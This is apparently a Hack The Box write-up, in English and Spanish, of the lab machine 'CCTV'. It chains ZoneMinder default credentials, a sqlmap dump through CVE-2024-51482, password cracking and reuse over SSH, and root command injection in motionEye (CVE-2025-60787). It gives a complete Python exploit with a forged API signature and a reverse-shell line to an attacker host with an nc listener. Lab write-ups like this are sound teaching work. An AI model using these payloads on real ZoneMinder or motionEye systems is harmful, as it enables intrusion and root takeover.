CCTV
Executive summary — CCTV is an Easy Linux box with a surveillance theme (Ubuntu 24.04, kernel 6.8). The site runs ZoneMinder with default credentials (
admin:admin); a time-based blind SQL injection (CVE-2024-51482) in thetidparameter dumps theUserstable, including mark's bcrypt hash, which we crack with John and reuse over SSH. Once in, a world-readable config file leaks the SHA1 of motionEye's admin password —which doubles as its API signing key, so cracking it is unnecessary—, letting us forge authenticated requests and exploit CVE-2025-60787 (command injection in themotionbinary, which runs as root) to run arbitrary commands. Path: ZoneMinder -> SQLi -> mark -> motionEye -> root.
| Platform | Hack The Box |
| Operating system | Linux (Ubuntu 24.04, kernel 6.8) |
| Difficulty | Easy |
| Status | Retired |
| Target IP | 10.129.244.156 |
Attack map
[80] ZoneMinder (/zm) -> default credentials admin:admin
| SQLi CVE-2024-51482 (tid param) -> dump of the Users table
v
[hash] mark bcrypt -> john/rockyou -> opensesame
v
[SSH] mark (user.txt lives in /home/sa_mark, not /home/mark)
| motion.conf leaks admin's SHA1 -> valid signature for motionEye's API
| CVE-2025-60787: command injection in motion (root) via image_file_name
v
[ROOT] root.txt
1. Reconnaissance
The box blocks ICMP (no ping) and the attacking environment has no
sudo:/etc/hostscan't be edited andnmap -sSis off the table. The vhost is resolved on the fly withcurl --resolveor theHost:header, and ports are scanned withnmap -sT(TCP connect, unprivileged) or straight with bash's/dev/tcp.
nmap -sT -p- --min-rate 2000 10.129.244.156
bash -c 'echo > /dev/tcp/10.129.244.156/80' && echo "80 OPEN"
bash -c 'echo > /dev/tcp/10.129.244.156/22' && echo "22 OPEN"
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu
80/tcp open http Apache httpd 2.4.58
|_http-title: Did not follow redirect to http://cctv.htb/
Port 80 redirects to cctv.htb: a corporate landing page, "SecureVision CCTV & Security Solutions", linking to /zm.
curl -s -I http://10.129.244.156/
curl -s --resolve cctv.htb:80:10.129.244.156 http://cctv.htb/ | grep -oiE 'href="[^"]*"'
# -> href="http://cctv.htb/zm"
/zm/ serves a ZoneMinder login, the surveillance system that gives the box its name:
curl -s --resolve cctv.htb:80:10.129.244.156 http://cctv.htb/zm/ | grep -i '<title>'
# <title>ZM - Login</title>
Resumen ejecutivo — CCTV es un Linux Easy con tematica de videovigilancia (Ubuntu 24.04, kernel 6.8). La web monta ZoneMinder con credenciales por defecto (
admin:admin); una inyeccion SQL ciega basada en tiempo (CVE-2024-51482) en el parametrotidpermite volcar la tablaUsers, incluido el hash bcrypt de mark, que crackeamos con John y reutilizamos por SSH. Ya dentro, un fichero de configuracion legible por todos filtra el SHA1 de la contraseña de admin de motionEye —que sirve como clave de firma de su API, sin necesidad de crackearlo—, lo que permite forjar peticiones autenticadas y explotar CVE-2025-60787 (command injection en el binariomotion, que corre como root) para ejecutar comandos arbitrarios. Recorrido ZoneMinder -> SQLi -> mark -> motionEye -> root.
| Plataforma | Hack The Box |
| Sistema operativo | Linux (Ubuntu 24.04, kernel 6.8) |
| Dificultad | Easy |
| Estado | Retired |
| IP objetivo | 10.129.244.156 |
Mapa del ataque
[80] ZoneMinder (/zm) -> credenciales por defecto admin:admin
| SQLi CVE-2024-51482 (param tid) -> dump de la tabla Users
v
[hash] bcrypt de mark -> john/rockyou -> opensesame
v
[SSH] mark (user.txt en /home/sa_mark, no en /home/mark)
| motion.conf filtra el SHA1 de admin -> firma valida para la API de motionEye
| CVE-2025-60787: command injection en motion (root) via image_file_name
v
[ROOT] root.txt
1. Reconocimiento
La maquina bloquea ICMP (no responde a ping) y en el entorno de ataque no hay
sudo: no se puede editar/etc/hostsni lanzarnmap -sS. Se resuelve el vhost al vuelo concurl --resolveo la cabeceraHost:, y se escanean puertos connmap -sT(TCP connect, no requiere privilegios) o directamente con/dev/tcpde bash.
nmap -sT -p- --min-rate 2000 10.129.244.156
bash -c 'echo > /dev/tcp/10.129.244.156/80' && echo "80 OPEN"
bash -c 'echo > /dev/tcp/10.129.244.156/22' && echo "22 OPEN"
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu
80/tcp open http Apache httpd 2.4.58
|_http-title: Did not follow redirect to http://cctv.htb/
El puerto 80 redirige a cctv.htb: una landing corporativa "SecureVision CCTV & Security Solutions" con un enlace a /zm.
curl -s -I http://10.129.244.156/
curl -s --resolve cctv.htb:80:10.129.244.156 http://cctv.htb/ | grep -oiE 'href="[^"]*"'
# -> href="http://cctv.htb/zm"
En /zm/ aparece el login de ZoneMinder, el sistema de videovigilancia que da nombre a la maquina:
curl -s --resolve cctv.htb:80:10.129.244.156 http://cctv.htb/zm/ | grep -i '<title>'
# <title>ZM - Login</title>
2. ZoneMinder — default credentials and version fingerprint
ZoneMinder's login handshake needs a CSRF token (
__csrf_magic) and a session cookie (ZMSESSID), fetched with a GET and replayed in the login POST.
CJ=zm_cookies.txt
# 1) GET login -> ZMSESSID + __csrf_magic
curl -s --resolve cctv.htb:80:10.129.244.156 -c $CJ \
"http://cctv.htb/zm/index.php?view=login" -o zm_login.html
CSRF=$(grep -oE "__csrf_magic' value=\"[^\"]*\"" zm_login.html | sed "s/.*value=\"//;s/\"//")
# 2) POST login with the default credentials
curl -s --resolve cctv.htb:80:10.129.244.156 -c $CJ -b $CJ "http://cctv.htb/zm/index.php" \
--data-urlencode "__csrf_magic=$CSRF" \
--data-urlencode "view=login" \
--data-urlencode "action=login" \
--data-urlencode "username=admin" \
--data-urlencode "password=admin" \
--data-urlencode "postLoginQuery="
# 3) Verify access + version
curl -s --resolve cctv.htb:80:10.129.244.156 -b $CJ \
"http://cctv.htb/zm/index.php?view=console" | grep -oE '1\.37\.[0-9]+'
# -> 1.37.63
admin:admin works on the first try and confirms ZoneMinder version 1.37.63, vulnerable to a known SQL injection CVE.
3. SQLi (CVE-2024-51482) — dumping the Users table
CVE-2024-51482 is a time-based/boolean blind SQL injection in the
tidparameter of theremovetagendpoint. There's no output reflected in the response, but it can be confirmed and exploited through controlled delays (SLEEP) — exactly whatsqlmapautomates.
/zm/index.php?view=request&request=event&action=removetag&tid=1
ZMSESSID=$(grep ZMSESSID zm_cookies.txt | tail -1 | awk '{print $NF}')
curl -s -H "Host: cctv.htb" -b "ZMSESSID=$ZMSESSID" \
"http://10.129.244.156/zm/index.php?view=request&request=event&action=removetag&tid=1"
# {"result":"Ok","response":0}
sqlmap -u "http://10.129.244.156/zm/index.php?view=request&request=event&action=removetag&tid=1" \
--headers="Host: cctv.htb" --cookie="ZMSESSID=$ZMSESSID" \
-p tid --dbms=mysql --batch --technique=BT --level=2 --risk=2 \
-D zm -T Users -C Username,Password --dump
sqlmap confirms the time-based blind with the payload:
...&tid=1 AND (SELECT 2200 FROM (SELECT(SLEEP(5)))Pdfd)
And dumps the bcrypt hashes from the Users table:
| Username | Password (bcrypt) |
|---|---|
| superadmin | $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm |
| mark | $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG. |
Optimisation: the
superadminhash thatsqlmapreveals character by character matches a known reference hash —it's static data baked into the box image—, so the dump can be cut short and the cracking effort focused entirely onmark's hash, the one that actually leads to system access.
4. Cracking the hash and SSH access (user.txt)
echo '$2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.' > markhash.txt
john markhash.txt --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt
opensesame (?)
1g 0:00:01:53 DONE
The password opensesame is reused for the OS-level SSH account, confirming mark uses the same credential on the web panel and on the server:
sshpass -p 'opensesame' ssh mark@10.129.244.156
# uid=1000(mark) gid=1000(mark) groups=1000(mark),24(cdrom),30(dip),46(plugdev)
The flag is not in
/home/mark: a second user,sa_mark, has a home directory locked down to750, and that's where the realuser.txtlives. Privilege escalation is required to read it.
ls -la /home
# drwxr-x--- mark mark ...
# drwxr-x--- sa_mark sa_mark ... <-- Permission denied
5. Privilege escalation — motionEye / motion (CVE-2025-60787)
/etc/passwd has a service account called motion, and the box's own name (CCTV) points at the vector: motionEye, the web front-end for motion, is also running locally.
find / -name "motion.conf" 2>/dev/null
cat /etc/motioneye/motion.conf
# @admin_username admin
# @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0 <-- motionEye admin SHA1
# @normal_username user
webcontrol_port 7999
camera camera-1.conf
ss -tlnp
# 127.0.0.1:8765 <- motionEye
# 127.0.0.1:7999 <- motion webcontrol
curl -s -I http://127.0.0.1:8765/
# Server: motionEye/0.43.1b4
motionEye v0.43.1b4 is vulnerable to CVE-2025-60787: validation of camera configuration fields happens client-side only (JavaScript). Nothing stops saving a server-side value containing shell syntax —including command substitution $(...)— in fields such as image_file_name. The motion process, which runs as root, processes that config when generating snapshots and executes whatever it finds inside $(...).
The key trick: forging the API signature
Rather than trying to bypass client-side JS validation from a browser, the attack targets motionEye's REST API directly. Every request is signed with an HMAC/SHA1 over
method:path:body:key, and that key is the SHA1 hash of the admin password we just read frommotion.conf. There's nothing to crack: the leaked hash is a valid signing key.
def compute_signature(method, path, body, key):
# canonicalises method+path+query+body and signs with SHA1(...:key)
return sha1(f"{method}:{path}:{body}:{key}").hexdigest().lower()
Relevant API endpoints:
GET /config/1/get— fetches camera 1's configuration.POST /config/1/set— saves configuration (motion restarts with the new values).POST /action/1/snapshot— forces a capture; this is whenmotionevaluatesimage_file_name.
Exploit
With the signing key in hand, the exploit runs from mark's session against 127.0.0.1:8765: it reads the current config, injects the payload into image_file_name, and forces three snapshots so motion evaluates it:
#!/usr/bin/env python3
import json, hashlib, re, time, urllib.parse, urllib.request
BASE = 'http://127.0.0.1:8765'
USER = 'admin'
KEY = '989c5a8ee87a0e9521ec81a79187d162109282f0' # @admin_password (SHA1)
_SIGNATURE_REGEX = re.compile(r'[^a-zA-Z0-9/?_.=&{}\[\]":, -]')
# Runs as ROOT when motion builds the snapshot filename:
PAYLOAD = "$(cp /root/root.txt /tmp/rt.txt;cp /home/sa_mark/user.txt /tmp/ut.txt;chmod 666 /tmp/rt.txt /tmp/ut.txt)%Y-%m-%d-%H-%M-%S"
def compute_signature(method, path, body: bytes, key):
parts = list(urllib.parse.urlsplit(path))
query = [q for q in urllib.parse.parse_qsl(parts[3], keep_blank_values=True) if q[0] != '_signature']
query.sort(key=lambda q: q[0])
query = [(n, urllib.parse.quote(v, safe="!'()*~")) for (n, v) in query]
query = '&'.join([q[0] + '=' + q[1] for q in query])
parts[0] = parts[1] = ''; parts[3] = query
path = _SIGNATURE_REGEX.sub('-', urllib.parse.urlunsplit(parts))
key = _SIGNATURE_REGEX.sub('-', key)
try: body_str = body.decode('utf-8')
except: body_str = None
if body_str and body_str.startswith('---'): body_str = None
body_str = body_str and _SIGNATURE_REGEX.sub('-', body_str)
return hashlib.sha1(f'{method}:{path}:{body_str or ""}:{key}'.encode()).hexdigest().lower()
def do(method, path, body=b''):
sig = compute_signature(method, path, body, KEY)
url = BASE + path + ('&' if '?' in path else '?') + '_signature=' + sig
req = urllib.request.Request(url, data=(body if method=='POST' else None), method=method)
if method == 'POST': req.add_header('Content-Type', 'application/json')
try: r = urllib.request.urlopen(req, timeout=25); return r.status, r.read()
except urllib.error.HTTPError as e: return e.code, e.read()
# 1) read current config
_, body = do('GET', f'/config/1/get?_username={USER}')
cfg = json.loads(body)
# 2) inject the payload into image_file_name
cfg['image_file_name'] = PAYLOAD
do('POST', f'/config/1/set?_username={USER}', json.dumps(cfg).encode())
# 3) force snapshots -> motion evaluates the name -> runs $(...) as root
time.sleep(2)
for _ in range(3):
do('POST', f'/action/1/snapshot?_username={USER}', b'{}')
time.sleep(2)
scp pwn.py mark@10.129.244.156:/tmp/pwn.py
ssh mark@10.129.244.156 'python3 /tmp/pwn.py; cat /tmp/ut.txt; cat /tmp/rt.txt'
GET 200
old image_file_name = '%Y-%m-%d-%H-%M-%S'
SET 200 {"reload": false, "reboot": false, "error": null}
confirm image_file_name = '$(cp /root/root.txt /tmp/rt.txt;cp /home/sa_mark/user.txt /tmp/ut.txt;chmod 666 ...)%Y-%m-%d-%H-%M-%S'
SNAPSHOT 0 200 {}
--- user.txt ---
abe3fb39151a808821fb53f1ecb2a14f
--- root.txt ---
721341f2c89c85b796d2606b4fdf741f
RCE confirmed as root. Classic variant to get an interactive shell instead of just copying flags: set
image_file_name = $(echo 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1' > /tmp/rce.sh).%Y-%m-%d-%H-%M-%Sand force a snapshot; then switch it to$(bash /tmp/rce.sh).%Y-%m-%d-%H-%M-%Sand force another snapshot with a listener (nc -lvnp 4444) waiting on the attacker box.
Cleanup after exploitation: restore image_file_name to its original value (%Y-%m-%d-%H-%M-%S) and remove the temporary files copied into /tmp.
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Foothold | ZoneMinder | Default credentials (admin:admin) | Authenticated admin panel |
| Info | ZoneMinder 1.37.63, tid param | SQLi (CVE-2024-51482) | DB dump (hashes) |
| Lateral | User mark (bcrypt) | Weak / reused password | SSH access (user.txt) |
| Info | /etc/motioneye/motion.conf | Admin hash in a readable file | motionEye API signing key |
| PrivEsc | motionEye 0.43.1b4 / motion (root) | Client-side-only validation + command injection (CVE-2025-60787) | RCE as root |
Lessons learned
- Change default credentials:
admin:adminis anyone's first attempt, and here it opens the door to everything else. - Parameterise SQL queries: a single blind injection, with no visible output, is enough for
sqlmapto dump the entire users table. - Don't reuse passwords across the web panel and the operating system accounts.
- Protect configuration files holding secrets:
motion.confwas world-readable and its hash doubled as a full API signing key, no cracking required. - Validate on the server, never client-side only: motionEye's JS validation doesn't stop payloads sent straight to the REST API.
- Surveillance software (ZoneMinder, motionEye/motion): these accumulate CVEs frequently; keep them updated, network-isolated, and never running as root.
2. ZoneMinder — credenciales por defecto y huella de version
ZoneMinder gestiona el login con un token CSRF (
__csrf_magic) y una cookie de sesion (ZMSESSID). Antes de intentar credenciales hay que recogerlos con una peticion GET y reenviarlos en el POST de login.
CJ=zm_cookies.txt
# 1) GET login -> ZMSESSID + __csrf_magic
curl -s --resolve cctv.htb:80:10.129.244.156 -c $CJ \
"http://cctv.htb/zm/index.php?view=login" -o zm_login.html
CSRF=$(grep -oE "__csrf_magic' value=\"[^\"]*\"" zm_login.html | sed "s/.*value=\"//;s/\"//")
# 2) POST login con las credenciales por defecto
curl -s --resolve cctv.htb:80:10.129.244.156 -c $CJ -b $CJ "http://cctv.htb/zm/index.php" \
--data-urlencode "__csrf_magic=$CSRF" \
--data-urlencode "view=login" \
--data-urlencode "action=login" \
--data-urlencode "username=admin" \
--data-urlencode "password=admin" \
--data-urlencode "postLoginQuery="
# 3) Verificar acceso + version
curl -s --resolve cctv.htb:80:10.129.244.156 -b $CJ \
"http://cctv.htb/zm/index.php?view=console" | grep -oE '1\.37\.[0-9]+'
# -> 1.37.63
admin:admin funciona a la primera y confirma la version 1.37.63 de ZoneMinder, vulnerable a un CVE de inyeccion SQL conocido.
3. SQLi (CVE-2024-51482) — dump de la tabla Users
CVE-2024-51482 es una inyeccion SQL ciega basada en tiempo/booleana en el parametro
tiddel endpointremovetag. No se ve el resultado en la respuesta, pero se puede confirmar y explotar con retardos controlados (SLEEP), que es justo lo que automatizasqlmap.
/zm/index.php?view=request&request=event&action=removetag&tid=1
ZMSESSID=$(grep ZMSESSID zm_cookies.txt | tail -1 | awk '{print $NF}')
curl -s -H "Host: cctv.htb" -b "ZMSESSID=$ZMSESSID" \
"http://10.129.244.156/zm/index.php?view=request&request=event&action=removetag&tid=1"
# {"result":"Ok","response":0}
sqlmap -u "http://10.129.244.156/zm/index.php?view=request&request=event&action=removetag&tid=1" \
--headers="Host: cctv.htb" --cookie="ZMSESSID=$ZMSESSID" \
-p tid --dbms=mysql --batch --technique=BT --level=2 --risk=2 \
-D zm -T Users -C Username,Password --dump
sqlmap confirma el time-based blind con el payload:
...&tid=1 AND (SELECT 2200 FROM (SELECT(SLEEP(5)))Pdfd)
Y vuelca los hashes bcrypt de la tabla Users:
| Username | Password (bcrypt) |
|---|---|
| superadmin | $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm |
| mark | $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG. |
Optimizacion: el hash de
superadminquesqlmaprevela caracter a caracter coincide con un hash de referencia conocido —son datos estaticos de la imagen de la maquina—, asi que se puede cortar el dump ahi y centrar el esfuerzo de crackeo solo en el hash demark, que es el que realmente da acceso al sistema.
4. Crackeo del hash y acceso SSH (user.txt)
echo '$2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.' > markhash.txt
john markhash.txt --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt
opensesame (?)
1g 0:00:01:53 DONE
La contraseña opensesame se reutiliza para SSH del sistema operativo, algo que confirma que mark usa la misma clave en el panel web y en el servidor:
sshpass -p 'opensesame' ssh mark@10.129.244.156
# uid=1000(mark) gid=1000(mark) groups=1000(mark),24(cdrom),30(dip),46(plugdev)
La flag no esta en
/home/mark: existe un segundo usuariosa_markcon el home restringido (750), donde vive eluser.txtreal. Hace falta escalar para leerlo.
ls -la /home
# drwxr-x--- mark mark ...
# drwxr-x--- sa_mark sa_mark ... <-- Permission denied
5. Escalada de privilegios — motionEye / motion (CVE-2025-60787)
En /etc/passwd hay una cuenta de servicio motion, y el propio nombre de la maquina (CCTV) apunta al vector: motionEye, la interfaz web de motion, tambien corre localmente.
find / -name "motion.conf" 2>/dev/null
cat /etc/motioneye/motion.conf
# @admin_username admin
# @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0 <-- SHA1 de admin de motionEye
# @normal_username user
webcontrol_port 7999
camera camera-1.conf
ss -tlnp
# 127.0.0.1:8765 <- motionEye
# 127.0.0.1:7999 <- motion webcontrol
curl -s -I http://127.0.0.1:8765/
# Server: motionEye/0.43.1b4
motionEye v0.43.1b4 es vulnerable a CVE-2025-60787: la validacion de los campos de configuracion de camara se hace solo en el cliente (JavaScript). Nada impide guardar en el servidor un valor con sintaxis de shell —incluida sustitucion de comandos $(...)— en campos como image_file_name. El proceso motion, que corre como root, procesa esa configuracion al generar snapshots y ejecuta lo que encuentre entre $(...).
La clave del ataque: forjar la firma de la API
En vez de intentar saltarse la validacion JS desde un navegador, se ataca la API REST de motionEye directamente. Cada peticion va firmada con un HMAC/SHA1 sobre
metodo:ruta:cuerpo:clave, y esa clave es el propio hash SHA1 de la contraseña de admin que acabamos de leer enmotion.conf. No hace falta crackear nada: el hash filtrado es la clave de firma valida.
def compute_signature(method, path, body, key):
# canonicaliza metodo+ruta+query+cuerpo y firma con SHA1(...:key)
return sha1(f"{method}:{path}:{body}:{key}").hexdigest().lower()
Endpoints relevantes de la API:
GET /config/1/get— obtiene la configuracion de la camara 1.POST /config/1/set— guarda la configuracion (motion se reinicia con los valores nuevos).POST /action/1/snapshot— fuerza una captura; es el momento en quemotionevaluaimage_file_name.
Exploit
Con la clave de firma en la mano, el exploit se ejecuta desde la sesion de mark contra 127.0.0.1:8765: lee la config actual, inyecta el payload en image_file_name y fuerza tres snapshots para que motion lo evalue:
#!/usr/bin/env python3
import json, hashlib, re, time, urllib.parse, urllib.request
BASE = 'http://127.0.0.1:8765'
USER = 'admin'
KEY = '989c5a8ee87a0e9521ec81a79187d162109282f0' # @admin_password (SHA1)
_SIGNATURE_REGEX = re.compile(r'[^a-zA-Z0-9/?_.=&{}\[\]":, -]')
# Se ejecuta como ROOT cuando motion construye el nombre del snapshot:
PAYLOAD = "$(cp /root/root.txt /tmp/rt.txt;cp /home/sa_mark/user.txt /tmp/ut.txt;chmod 666 /tmp/rt.txt /tmp/ut.txt)%Y-%m-%d-%H-%M-%S"
def compute_signature(method, path, body: bytes, key):
parts = list(urllib.parse.urlsplit(path))
query = [q for q in urllib.parse.parse_qsl(parts[3], keep_blank_values=True) if q[0] != '_signature']
query.sort(key=lambda q: q[0])
query = [(n, urllib.parse.quote(v, safe="!'()*~")) for (n, v) in query]
query = '&'.join([q[0] + '=' + q[1] for q in query])
parts[0] = parts[1] = ''; parts[3] = query
path = _SIGNATURE_REGEX.sub('-', urllib.parse.urlunsplit(parts))
key = _SIGNATURE_REGEX.sub('-', key)
try: body_str = body.decode('utf-8')
except: body_str = None
if body_str and body_str.startswith('---'): body_str = None
body_str = body_str and _SIGNATURE_REGEX.sub('-', body_str)
return hashlib.sha1(f'{method}:{path}:{body_str or ""}:{key}'.encode()).hexdigest().lower()
def do(method, path, body=b''):
sig = compute_signature(method, path, body, KEY)
url = BASE + path + ('&' if '?' in path else '?') + '_signature=' + sig
req = urllib.request.Request(url, data=(body if method=='POST' else None), method=method)
if method == 'POST': req.add_header('Content-Type', 'application/json')
try: r = urllib.request.urlopen(req, timeout=25); return r.status, r.read()
except urllib.error.HTTPError as e: return e.code, e.read()
# 1) leer config actual
_, body = do('GET', f'/config/1/get?_username={USER}')
cfg = json.loads(body)
# 2) inyectar el payload en image_file_name
cfg['image_file_name'] = PAYLOAD
do('POST', f'/config/1/set?_username={USER}', json.dumps(cfg).encode())
# 3) forzar snapshots -> motion evalua el nombre -> ejecuta $(...) como root
time.sleep(2)
for _ in range(3):
do('POST', f'/action/1/snapshot?_username={USER}', b'{}')
time.sleep(2)
scp pwn.py mark@10.129.244.156:/tmp/pwn.py
ssh mark@10.129.244.156 'python3 /tmp/pwn.py; cat /tmp/ut.txt; cat /tmp/rt.txt'
GET 200
old image_file_name = '%Y-%m-%d-%H-%M-%S'
SET 200 {"reload": false, "reboot": false, "error": null}
confirm image_file_name = '$(cp /root/root.txt /tmp/rt.txt;cp /home/sa_mark/user.txt /tmp/ut.txt;chmod 666 ...)%Y-%m-%d-%H-%M-%S'
SNAPSHOT 0 200 {}
--- user.txt ---
abe3fb39151a808821fb53f1ecb2a14f
--- root.txt ---
721341f2c89c85b796d2606b4fdf741f
RCE confirmado como root. Variante clasica para conseguir una shell interactiva en vez de solo copiar flags: guardar
image_file_name = $(echo 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1' > /tmp/rce.sh).%Y-%m-%d-%H-%M-%Sy forzar un snapshot; luego cambiarlo a$(bash /tmp/rce.sh).%Y-%m-%d-%H-%M-%Sy forzar otro snapshot con un listener (nc -lvnp 4444) esperando en el atacante.
Limpieza tras la explotacion: restaurar image_file_name a su valor original (%Y-%m-%d-%H-%M-%S) y borrar los ficheros temporales copiados en /tmp.
Resumen de vulnerabilidades
| Fase | Componente | Vulnerabilidad | Impacto |
|---|---|---|---|
| Foothold | ZoneMinder | Credenciales por defecto (admin:admin) | Acceso admin al panel |
| Info | ZoneMinder 1.37.63, param tid | SQLi (CVE-2024-51482) | Dump de la BD (hashes) |
| Lateral | Usuario mark (bcrypt) | Contraseña debil / reutilizada | Acceso SSH (user.txt) |
| Info | /etc/motioneye/motion.conf | Hash de admin en fichero legible | Clave de firma de la API de motionEye |
| PrivEsc | motionEye 0.43.1b4 / motion (root) | Validacion solo cliente + command injection (CVE-2025-60787) | RCE como root |
Lecciones aprendidas
- Cambia las credenciales por defecto:
admin:admines el primer intento de cualquiera, y aqui abre la puerta a todo lo demas. - Parametriza las consultas SQL: una sola inyeccion ciega, sin ver la respuesta, basta para volcar toda la tabla de usuarios con
sqlmap. - No reutilices contraseñas entre el panel web y las cuentas del sistema operativo.
- Protege los ficheros de configuracion con secretos:
motion.confera legible y su hash servia como clave de firma completa de la API, sin necesidad de crackear nada. - Valida en el servidor, nunca solo en el cliente: la validacion JS de motionEye no impide mandar payloads directamente a la API REST.
- Software de videovigilancia (ZoneMinder, motionEye/motion): acumulan CVEs con frecuencia; mantenlos actualizados, aislados de la red y sin correr como root.